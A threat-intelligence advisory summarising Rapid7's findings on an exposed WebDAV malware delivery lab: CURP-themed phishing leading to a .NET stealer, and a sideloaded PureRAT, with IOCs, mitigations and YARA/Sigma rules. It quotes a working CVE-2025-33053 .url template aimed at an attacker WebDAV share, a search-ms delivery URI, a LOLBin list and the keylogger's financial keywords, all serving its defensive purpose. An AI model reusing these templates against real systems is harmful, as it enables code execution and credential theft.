> ## Content Index > Fetch the complete content index at: https://f4n6.co.uk/llms.txt > Use this file to discover other available public pages before exploring further. # From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab - URL: https://f4n6.co.uk/security-feed/from-a-single-alert-to-1-000-files-inside-an-exposed-webdav-malware-delivery-lab/ - Published: 2026-07-20T22:00:51.000Z - Updated: 2026-07-20T22:00:51.000Z - Author: Jeff Davies - Tags: #security-feed, CVE-2025-33053, CVE-2026-21513, CVE-2025-24054, Stealth Falcon ## 1\. Executive summary Rapid7's MDR team discovered an exposed, misconfigured server functioning as a comprehensive malware delivery and QA lab, containing over 1,000 artifacts used to test WebDAV-based execution paths, social engineering lures, and LOLBin abuse. The operator actively tested exploits for three CISA KEV-listed vulnerabilities — CVE-2025-33053 (CVSS 8.8 HIGH, EPSS 82%), CVE-2026-21513 (CVSS 8.8 HIGH, EPSS 15%), and CVE-2025-24054 (CVSS 6.5 MEDIUM, EPSS 59%) — and deployed a .NET information stealer and a modular .NET RAT (PureRAT) targeting financial credentials, cryptocurrency wallets, and banking sessions. The actor's workflow was heavily LLM-assisted, accelerating lure generation and operational documentation. EMEA financial services are exposed where staff interact with Mexican government portals or receive themed invoice/contract lures; the stealer's keylogger explicitly targets payment, banking, and cryptocurrency keywords relevant to fintech and treasury operations. ## 2\. Regulatory framing | Article | Trigger (the fact in this item) | Practical impact | | ----------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | DORA Art. 18: classification of ICT-related incidents and cyber threats | The campaign deploys an information stealer targeting credentials, session tokens, and crypto wallets, plus a modular RAT with keylogging focused on payment and banking keywords — these are cyber threats with potential to cause major ICT-related incidents. | Classify any confirmed infections using the stealer/RAT as major ICT-related incidents under DORA's severity criteria; document the threat taxonomy for risk registers. | | DORA Art. 17: ICT-related incident management process | The initial detection vector was an endpoint alert (rundll32.exe executing from a WebDAV share via WebClient/davclnt.dll) — a specific ICT-related incident requiring a structured response process. | Ensure incident management playbooks cover WebDAV-based delivery chains and fileless .NET payload execution; validate that detection-to-containment timelines meet DORA expectations. | | NIS2 Art. 21(2)(d): supply chain security measures | The attack chain abuses legitimate signed binaries (iediagcmd.exe, CustomShellHost.exe, OfficeC2RClient.exe, Qihoo 360 EV-signed process) and DLL sideloading of trojanized dependencies (discord-rpc.x64.dll) — supply-chain trust mechanisms are the attack vector. | Review allowlisting and DLL loading policies for signed-binary abuse; assess whether current supply-chain controls detect sideloading of trojanized DLLs in vendor binaries. | ## 3\. Technical analysis & attack chain ### Attack chain — Case Study 1: CURP phishing → .NET information stealer 1. **Initial access:** Victim navigates to hxxps://gobf\[.\]mx, a typosquat impersonating the Mexican government's CURP national-ID lookup service (hxxps://www.gob.mx/curp/). The phishing site is a single-page application with client-side JavaScript (containing Russian comments, likely LLM-generated) that handles a fake ID lookup flow. 2. **Delivery via search-ms:** When the victim clicks the download button, instead of a PDF, the JavaScript invokes a `search-ms:` URI that opens the operator's remote WebDAV share as a Windows Explorer search view filtered to `.scr` files: `search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP &query=*.scr &crumb=location:\\onedrive.cv@80\Downloads\CURP` 3. **Execution via RTLO masquerade:** The victim launches `ReportFinal.rcs.pdf`, which is actually an RTLO-spoofed `.scr` executable built with a Delphi/Inno Setup installer. 4. **Loader execution:** The installer extracts and launches `Fo-Binary.exe` from `%TEMP%\is-XXXXX.tmp\`, initiating a multi-stage infection chain. 5. **Reflective loading:** The loader maps the payload directly into memory using `Assembly.Load(byte[])`, executing filelessly. 6. **Process hollowing:** The malicious code is injected into a legitimate, EV-signed Qihoo 360 process via process hollowing, running under a trusted signed process image. 7. **Anti-analysis:** The payload checks for the `COR_PROFILER` environment variable and calls `IsDebuggerPresent`. If monitoring is detected, it calls `FailFast` to kill the process. The watchlist and collection configuration are not decrypted until after a successful C2 handshake. 8. **Collection:** The stealer targets \~20 desktop wallet clients, browser wallet extensions, saved browser usernames/passwords/cookies/session tokens, Telegram `tdata` session database, Foxmail data, and captures a desktop screenshot. 9. **Exfiltration:** Data is sent to 77\[.\]110\[.\]127\[.\]205 (alias google.services\[.\]ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket, as multipart HTTP POST to `/c2`. Ports observed: 56001–56003, 57666, 57777, 57888\. Payload version 4.4.3, build tag `06x12x2026SantaEbash2`. 10. **Persistence:** Scheduled tasks named `brokerhost` and `net_queue_32`. Staging paths: `%AppData%\Roaming\inttracer_i686_prod\` and `C:\ProgramData\inttracer_i686_prod\`. ### Attack chain — Case Study 2: DlrtyGames → modular .NET RAT (PureRAT) 1. **Initial dropper:** `DlrtyGames.exe`, a silent 7-Zip SFX dropper, extracts a benign signed Ubisoft binary `Volt_Droid.exe` and a trojanized dependency `discord-rpc.x64.dll` into the victim's temporary directory. 2. **DLL sideloading:** `Volt_Droid.exe` loads `discord-rpc.x64.dll`, which decodes its configuration, resolves APIs by hash, and manually maps `profiler16.dll`. 3. **Steganographic payload extraction:** `profiler16.dll` reads `loader-pool.db`, a PNG file with encrypted modules stored across IDAT chunks. After a 45-second sleep delay, it reassembles and decrypts the embedded content. 4. **Persistence and elevation:** Sets up persistence via `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW`, performs COM auto-elevation through `dllhost.exe`. Additional persistence markers: `\com_app_bg_i686`, `\messenger_component_v8_32_rc`. Staging paths: `C:\ProgramData\basenet\`, `%APPDATA%\basenet\`. 5. **Process hollowing (final stage):** An x86 PIC shellcode blob carved from `loader-pool.db` at offset `0xb516a` creates signed host processes (`MegArray.exe` or `Crisp.exe`) in a suspended state, unmaps the original image, writes the payload, updates thread context, and resumes execution. 6. **RAT capabilities:** Modular .NET RAT (identified as PureRAT) with plugins for keylogging, screenshots, window monitoring, and C2\. Keylogger uses plaintext keyword triggers for financial activity: `relaypayments.com`, `plaid`, `fiservapps`, `payoneer`, `google pay`, `coinbase`, `Zelle`, `paypal`, `link.com`, `amazonrelay`, `Exodus`, `Electrum`, `Bitcoin`, `monero`, `Seed Phrase`, `Seed`, `12`, `FCU`, `Credit Union`, `Account Overview`, `Available Balance`, `Merchant`, `online access`, `debit`, `credit`, `cvv`, `card`, `settlement`, `fees`, `loans`, `bank`, `banking`, `finance`, `invest`. Also targets browser wallet-extension artifacts and Chrome user data (cookies, saved logins). 7. **C2:** 23\[.\]94\[.\]252\[.\]228:57666\. JA3 fingerprint: `fc54e0d16d9764783542f0146a98b300`. ### CVE testing in the exposed directory The operator's QA lab tested three CVEs, all currently listed in CISA KEV: | CVE | CVSS | Severity | CISA KEV | EPSS | Samples observed | Description | | -------------- | ---- | -------- | ---------------------- | ---- | ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | | CVE-2025-33053 | 8.8 | HIGH | Yes (added 2025-06-10) | 82% | 11 | Windows Internet Shortcut flaw — external control of file name or path (CWE-73), enabling code execution over network via working-directory hijacking | | CVE-2026-21513 | 8.8 | HIGH | Yes (added 2026-02-10) | 15% | 4 | MSHTML Framework security feature bypass — protection-mechanism failure (CWE-693) | | CVE-2025-24054 | 6.5 | MEDIUM | Yes (added 2025-04-17) | 59% | 1 | Windows NTLM spoofing — crafted file/path handling triggers outbound authentication and NTLM hash leakage (CWE-73); tradecraft involved .library-ms files | **CVE-2025-33053 — primary focus (detailed mechanism):** The operator's most developed test set reproduced the working-directory abuse technique from Check Point's analysis of Stealth Falcon (MITRE G0038 — confirmed MITRE profile). The technique abuses `.url` shortcut files to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. The primary LOLBin was `iediagcmd.exe` (`C:\Program Files\Internet Explorer\iediagcmd.exe`), which spawns child processes (`route.exe`, `ipconfig.exe`, `netsh.exe`, `ping.exe`) by bare name. `Process.Start()` searches the working directory first, so if the working directory points to a WebDAV share, Windows resolves the child process from the remote share. The operator placed a renamed payload (`putty.exe` → `route.exe`) on the WebDAV server. The `.url` file format used: ``` [InternetShortcut] URL=C:\Program Files\Internet Explorer\iediagcmd.exe WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr ShowCommand=7 IconIndex=13 IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Modified=20F06BA06D07BD014D ``` **Requirements for the exploit:** `iediagcmd.exe` must exist (present on Win10 1607–22H2 and Win11 21H2/22H2/23H2; absent on Win11 24H2 where IE is removed). The June 2025 Microsoft patch (KB5060\*) must not be installed. The operator verified patch status with `Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}`. **Expanded LOLBin test kit:** The operator built 59 `.url` files targeting alternative binaries for hosts where `iediagcmd.exe` is absent, including: `CustomShellHost.exe` (spawns `explorer.exe`), `OfficeC2RClient.exe`, `InstallUtil`, `RegAsm`, `RegSvcs`, `CasPol`, `ngentask` (calls `ngen.exe`), `AddInUtil` (calls `AddInProcess.exe`), `dfsvc` (ClickOnce), `csc` (C# compiler, may call `link.exe`), `vbc` (VB compiler), `LbfoAdmin`, `UevAgentPolicyGenerator` (calls `.ps1` files), `UevAppMonitor`, `AppVStreamingUX`, `Pcwrun`, `WorkFolders`, `stordiag`, `Provlaunch` (calls `provtool.exe`), `fodhelper`, `computerdefaults`, `wsreset`. ### Attribution caveat: **The CVE-2025-33053 technique is associated with Stealth Falcon (MITRE G0038 — confirmed). However, the operator in this incident appears to be reproducing/adapting the technique from published Check Point research using LLM-generated READMEs. The actor's identity is unconfirmed; the use of Russian diminutives ("testik", "testik2") and Russian-language README content suggests a Russian-speaking operator, but this is not sufficient for attribution to Stealth Falcon or any other named group.** Single-sourced attribution; verify before enforcement. ### Delivery infrastructure and campaign telemetry The exposed server hosted a "Simba Service" WebDAV delivery/admin panel (documentation appeared LLM-generated) that tracked file opens, visitor IPs, geolocation, Windows versions, traffic, and folder-level conversion. Over a \~5.5-day window (June 20–26, 2026 UTC), the service recorded 77,098 requests from 3,892 unique client IPs across 101 countries (\~45.9 GB transferred). Traffic peaked June 21–24 and dropped sharply after. Mexico dominated: 63,622 requests (82.5%), 2,365 launch events (96.9% of all launches). The CURP-themed `ReportFinal.rcs.pdf` lure accounted for 2,384 of 2,441 observed executable launch events (97.7%), \~14.6 GB of traffic, and 1,869 unique client IPs. Traffic peaked 16:00–19:00 UTC, consistent with Mexican working hours. HTTP methods: PROPFIND (57,287), GET (13,088), OPTIONS (6,597), PROPPATCH (125), LOCK (1). Status codes: 207 (57,412), 200 (19,532), 206 (154). The panel detected scanners/bots via behavioral indicators (requests for non-existent resources, HTTP 404s, WebDAV probes, directory enumeration) and assigned risk scores. Blocking configuration was modified at least 3 times (June 5, 10, 20). ### LLM-assisted workflow Multiple artifacts indicate LLM-assisted development: structured README files with emoji-heavy formatting, matrix-style test outputs, lure-generation guides, the Simba Service panel documentation, and JavaScript with Russian comments containing emojis typical of LLM output. A build artifact in `generate_test_lnk.ps1` exposed a hardcoded output directory revealing the attacker's local project tree. The campaign was likely built using the "CodeRRR" project with LLM assistance for code generation and campaign development. ## 4\. Mitigation & containment ### P1 — Within 24 hours - **Block C2 infrastructure at perimeter:** 77\[.\]110\[.\]127\[.\]205 (all ports, especially 56001–56003, 57666, 57777, 57888) and 23\[.\]94\[.\]252\[.\]228 (port 57666). Block domain google.services\[.\]ug and hxxps://gobf\[.\]mx. Block WebDAV host onedrive\[.\]cv. - **Hunt for scheduled tasks:** Query all endpoints for tasks named `brokerhost` and `net_queue_32`. Remove if found. - **Hunt for staging directories:** Check for existence of `%AppData%\Roaming\inttracer_i686_prod\`, `C:\ProgramData\inttracer_i686_prod\`, `C:\ProgramData\basenet\`, `%APPDATA%\basenet\`. Quarantine any endpoints with these paths. - **Hunt for persistence:** Query registry for `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW` and the values `\com_app_bg_i686` and `\messenger_component_v8_32_rc`. - **Block search-ms and library-ms URI schemes:** Apply Group Policy to disable `search-ms:` and `.library-ms` handling where business-justified. This disrupts the primary delivery vector for the CURP campaign. - **Patch verification:** Confirm all endpoints have the June 2025 Microsoft patch (KB5060\* series) addressing CVE-2025-33053\. Run `Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}` across the estate. CVE-2025-33053 is in CISA KEV with EPSS 82% — treat as critical. - **Patch CVE-2026-21513 and CVE-2025-24054:** Both are in CISA KEV. Apply vendor patches for the MSHTML Framework bypass and NTLM spoofing issue. CVE-2025-24054 exploitation commonly involves `.library-ms` files — block these at email gateway and web proxy. ### P2 — Within 72 hours - **EDR rules — WebClient service:** Alert on `WebClient` service starting followed by `davclnt.dll` network activity, especially when triggered by `rundll32.exe` or user-initiated file execution. This is the initial telemetry pattern that detected this campaign. - **EDR rules — LOLBin execution from WebDAV:** Alert on `iediagcmd.exe`, `CustomShellHost.exe`, `OfficeC2RClient.exe`, `InstallUtil`, `RegAsm`, `RegSvcs`, `ngentask`, `AddInUtil`, `dfsvc`, `csc`, `vbc`, `Pcwrun`, `WorkFolders`, `stordiag`, `Provlaunch`, `fodhelper`, `computerdefaults`, `wsreset` executing with a working directory containing `DavWWWRoot`, `@ssl@443`, or `@80` — indicators of WebDAV-based working-directory hijacking. - **EDR rules — process hollowing:** Alert on creation of `MegArray.exe`, `Crisp.exe`, or any signed process in a suspended state followed by image unmapping and thread context modification. - **EDR rules — DLL sideloading:** Alert on `Volt_Droid.exe` loading `discord-rpc.x64.dll` and on `profiler16.dll` being manually mapped. Monitor for `loader-pool.db` file access. - **Network detection — TLS without SNI:** Alert on outbound TLS connections to 77\[.\]110\[.\]127\[.\]205 and 23\[.\]94\[.\]252\[.\]228 matching JA3 `fc54e0d16d9764783542f0146a98b300`. - **Block RTLO characters in filenames:** Configure email gateways and file transfer controls to strip or quarantine files containing U+202E (RTLO) characters in filenames. - **Hunt for named payloads:** Search endpoint filesystems and EDR telemetry for `Fo-Binary.exe`, `DlrtyGames.exe`, `Volt_Droid.exe`, `discord-rpc.x64.dll`, `profiler16.dll`, `loader-pool.db`, `ReportFinal.rcs.pdf`, `ReportFina.exe`, `pdfgear_setup_v2.1.16.exe`, `CursorSetup`. ### P3 — Within 7 days - **Disable WebClient service where not required:** The `WebClient` service (required for WebDAV) auto-starts when accessing WebDAV locations. Disable on workstations where WebDAV access is not a business requirement. - **Restrict NTLM authentication:** Apply `Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers` policy to prevent NTLM hash leakage via CVE-2025-24054. - **Application allowlisting:** Ensure DLL loading policies enforce signature validation for side-loaded dependencies, particularly for signed vendor binaries that load DLLs from the same directory. - **User awareness:** Brief staff on ClickFix-style social engineering (fake Cloudflare verification, Adobe/Word errors, Chrome update prompts, Discord notices) and the CURP phishing site pattern. Emphasize that `search-ms:` URIs in browser context are abnormal. - **Threat hunt — COR\_PROFILER abuse:** Search for processes with `COR_PROFILER` environment variable set, as the stealer checks for this as an anti-analysis signal but it is also a known persistence/execution technique. ## 5\. Indicators of compromise | Type | Value | Confidence | Source | | ------------- | ---------------------------------------------------------------------------- | ---------- | ------ | | domain | gobf\[.\]mx | High | Rapid7 | | domain | onedrive\[.\]cv | High | Rapid7 | | domain | google.services\[.\]ug | High | Rapid7 | | ipv4 | 77\[.\]110\[.\]127\[.\]205 | High | Rapid7 | | ipv4 | 23\[.\]94\[.\]252\[.\]228 | High | Rapid7 | | url | hxxps://gobf\[.\]mx | High | Rapid7 | | ja3 | fc54e0d16d9764783542f0146a98b300 | High | Rapid7 | | sha256 | 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7 | High | Rapid7 | | sha256 | e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268 | High | Rapid7 | | sha256 | 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df | High | Rapid7 | | sha256 | a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9 | High | Rapid7 | | sha256 | 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b | High | Rapid7 | | sha256 | 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923 | High | Rapid7 | | filepath | %TEMP%\\is-XXXXX.tmp\\Fo-Binary.exe | High | Rapid7 | | filepath | %AppData%\\Roaming\\inttracer\_i686\_prod\\ | High | Rapid7 | | filepath | C:\\ProgramData\\inttracer\_i686\_prod\\ | High | Rapid7 | | filepath | C:\\ProgramData\\basenet\\ | High | Rapid7 | | filepath | %APPDATA%\\basenet\\ | High | Rapid7 | | regkey | HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\XNNNMHJAZNCNHGIKJDW | High | Rapid7 | | scheduledtask | brokerhost | High | Rapid7 | | scheduledtask | net\_queue\_32 | High | Rapid7 | | cert\_cn | Eglgyqnoa | High | Rapid7 | | campaign\_tag | 06x12x2026SantaEbash2 | High | Rapid7 | ```iocs domain gobf[.]mx domain onedrive[.]cv domain google.services[.]ug ipv4 77[.]110[.]127[.]205 ipv4 23[.]94[.]252[.]228 url hxxps://gobf[.]mx ja3 fc54e0d16d9764783542f0146a98b300 sha256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7 sha256 e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268 sha256 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df sha256 a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9 sha256 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b sha256 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923 filepath %TEMP%\is-XXXXX.tmp\Fo-Binary.exe filepath %AppData%\Roaming\inttracer_i686_prod\ filepath C:\ProgramData\inttracer_i686_prod\ filepath C:\ProgramData\basenet\ filepath %APPDATA%\basenet\ regkey HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW scheduledtask brokerhost scheduledtask net_queue_32 cert_cn Eglgyqnoa campaign_tag 06x12x2026SantaEbash2 ``` ## 6\. Detection ```yara rule AT_WebDAV_Delivery_Stealer_Payload { meta: author = "Adverse Trace" date = "2026-07-20" reference = "https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis" description = "Detects .NET information stealer delivered via WebDAV CURP campaign — based on in-memory config strings and build tags" strings: $build_tag = "06x12x2026SantaEbash2" ascii $version = "4.4.3" ascii $c2_path = "/c2" ascii $api_load = "Assembly.Load" ascii $anti_dbg = "IsDebuggerPresent" ascii $failfast = "FailFast" ascii $cor_profiler = "COR_PROFILER" ascii $tdata = "tdata" ascii $foxmail = "Foxmail" ascii condition: 3 of them } rule AT_DlrtyGames_RAT_Loader { meta: author = "Adverse Trace" date = "2026-07-20" reference = "https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis" description = "Detects DlrtyGames DLL sideloading chain artifacts — discord-rpc.x64.dll and profiler16.dll stages" strings: $dll_name = "discord-rpc.x64.dll" ascii $profiler = "profiler16.dll" ascii $pool_db = "loader-pool.db" ascii $host1 = "MegArray.exe" ascii $host2 = "Crisp.exe" ascii $ubisoft = "Volt_Droid.exe" ascii condition: 2 of them } rule AT_PureRAT_Keylogger_Keywords { meta: author = "Adverse Trace" date = "2026-07-20" reference = "https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis" description = "Detects PureRAT keylogger module by financial keyword triggers embedded in payload" strings: $kw1 = "relaypayments.com" ascii $kw2 = "fiservapps" ascii $kw3 = "amazonrelay" ascii $kw4 = "Seed Phrase" ascii $kw5 = "Available Balance" ascii $kw6 = "Account Overview" ascii $kw7 = "Credit Union" ascii $kw8 = "settlement" ascii $kw9 = "payoneer" ascii $kw10 = "coinbase" ascii $kw11 = "Electrum" ascii $kw12 = "monero" ascii condition: 4 of them } ``` ```yaml title: WebDAV Working Directory Hijack via iediagcmd.exe id: 7a3c1f2e-4b5d-4a6e-9c8f-1a2b3c4d5e6f status: experimental description: Detects iediagcmd.exe executing with a WebDAV working directory, indicating CVE-2025-33053 exploitation author: Adverse Trace date: 2026/07/20 references: - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis logsource: product: windows category: process_creation detection: selection_process: Image|endswith: '\iediagcmd.exe' selection_workdir: CommandLine|contains: - 'DavWWWRoot' - '@ssl@443' - '@80' - '\\\\' condition: selection_process and selection_workdir falsepositives: - Legitimate IE diagnostics with UNC paths (unlikely in modern environments) level: high --- title: Suspicious Scheduled Task Creation - brokerhost or net_queue_32 id: 8b4d2g3f-5c6e-4b7f-8d9f-2b3c4d5e6f7a status: experimental description: Detects creation of scheduled tasks used for persistence by WebDAV-delivered stealer author: Adverse Trace date: 2026/07/20 references: - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis logsource: product: windows category: process_creation detection: selection_schtasks: Image|endswith: '\schtasks.exe' CommandLine|contains: - 'brokerhost' - 'net_queue_32' condition: selection_schtasks falsepositives: - Unknown level: high --- title: DLL Sideloading via Volt_Droid.exe id: 9c5e3h4g-6d7f-4c8f-9e0f-3c4d5e6f7a8b status: experimental description: Detects signed Ubisoft binary Volt_Droid.exe loading discord-rpc.x64.dll, indicating DlrtyGames RAT delivery chain author: Adverse Trace date: 2026/07/20 references: - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis logsource: product: windows category: image_load detection: selection_process: Image|endswith: '\Volt_Droid.exe' selection_dll: ImageLoaded|endswith: '\discord-rpc.x64.dll' condition: selection_process and selection_dll falsepositives: - Legitimate Ubisoft software loading a genuine discord-rpc DLL (verify signature and path) level: high --- title: Registry Persistence via XNNNMHJAZNCNHGIKJDW Run Key id: ad6f4i5h-7e8f-4d9f-af1f-4d5e6f7a8b9c status: experimental description: Detects persistence mechanism used by DlrtyGames .NET RAT chain author: Adverse Trace date: 2026/07/20 references: - https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis logsource: product: windows category: registry_event detection: selection: TargetObject|contains: 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW' condition: selection falsepositives: - Unknown level: critical ``` ## CVE assessment 3 referenced CVEs — **3 actively exploited (CISA KEV)** | CVE | CVSS | Exploited | EPSS | Summary | | -------------------------------------------------------------------------------- | ---------- | ---------------- | ---- | -------------------------------------------------------------------------------------------------------------------------------- | | [CVE-2025-33053](https://nvd.nist.gov/vuln/detail/CVE-2025-33053?ref=f4n6.co.uk) | 8.8 High | ⚠ KEV 2025-06-10 | 82% | External control of file name or path in Internet Shortcut Files allows an unauthorized attacker to execute code over a network. | | [CVE-2026-21513](https://nvd.nist.gov/vuln/detail/CVE-2026-21513?ref=f4n6.co.uk) | 8.8 High | ⚠ KEV 2026-02-10 | 15% | Protection mechanism failure in MSHTML Framework allows an unauthorized attacker to bypass a security feature over a network. | | [CVE-2025-24054](https://nvd.nist.gov/vuln/detail/CVE-2025-24054?ref=f4n6.co.uk) | 6.5 Medium | ⚠ KEV 2025-04-17 | 59% | External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network. | ## Threat actor context **Stealth Falcon** · [G0038](https://attack.mitre.org/groups/G0038?ref=f4n6.co.uk) [Stealth Falcon](https://attack.mitre.org/groups/G0038?ref=f4n6.co.uk) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012\. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. ## 7\. Sources - Rapid7, "From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab Analysis," hxxps://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis, 2026-07-20 ## 8\. Adverse Trace position This is a HIGH-severity advisory. The campaign demonstrates a mature, LLM-accelerated delivery pipeline targeting enterprise Windows users with financial-themed lures, deploying both an information stealer and a modular RAT with explicit financial-sector keyword targeting. All three CVEs in the operator's toolkit are CISA KEV-listed with active exploitation. EMEA financial services with operations, customers, or supply-chain links to Mexico are at elevated risk given the campaign's geographic concentration. The stealer's focus on cryptocurrency wallets, banking credentials, and payment-platform sessions is directly relevant to fintech, treasury, and custody operations. Attribution to Stealth Falcon is unconfirmed — the operator appears to be replicating published research rather than operating as part of that group. All IOCs and technical detail in this advisory are single-sourced (Rapid7); verify before enforcement. We will update this advisory if additional sources corroborate the IOC set or if attribution is refined. --- [Read the original source →](https://www.rapid7.com/blog/post/tr-exposed-webdav-malware-delivery-lab-analysis?ref=f4n6.co.uk) *Published via PulseTrace — Adverse Trace threat intelligence.*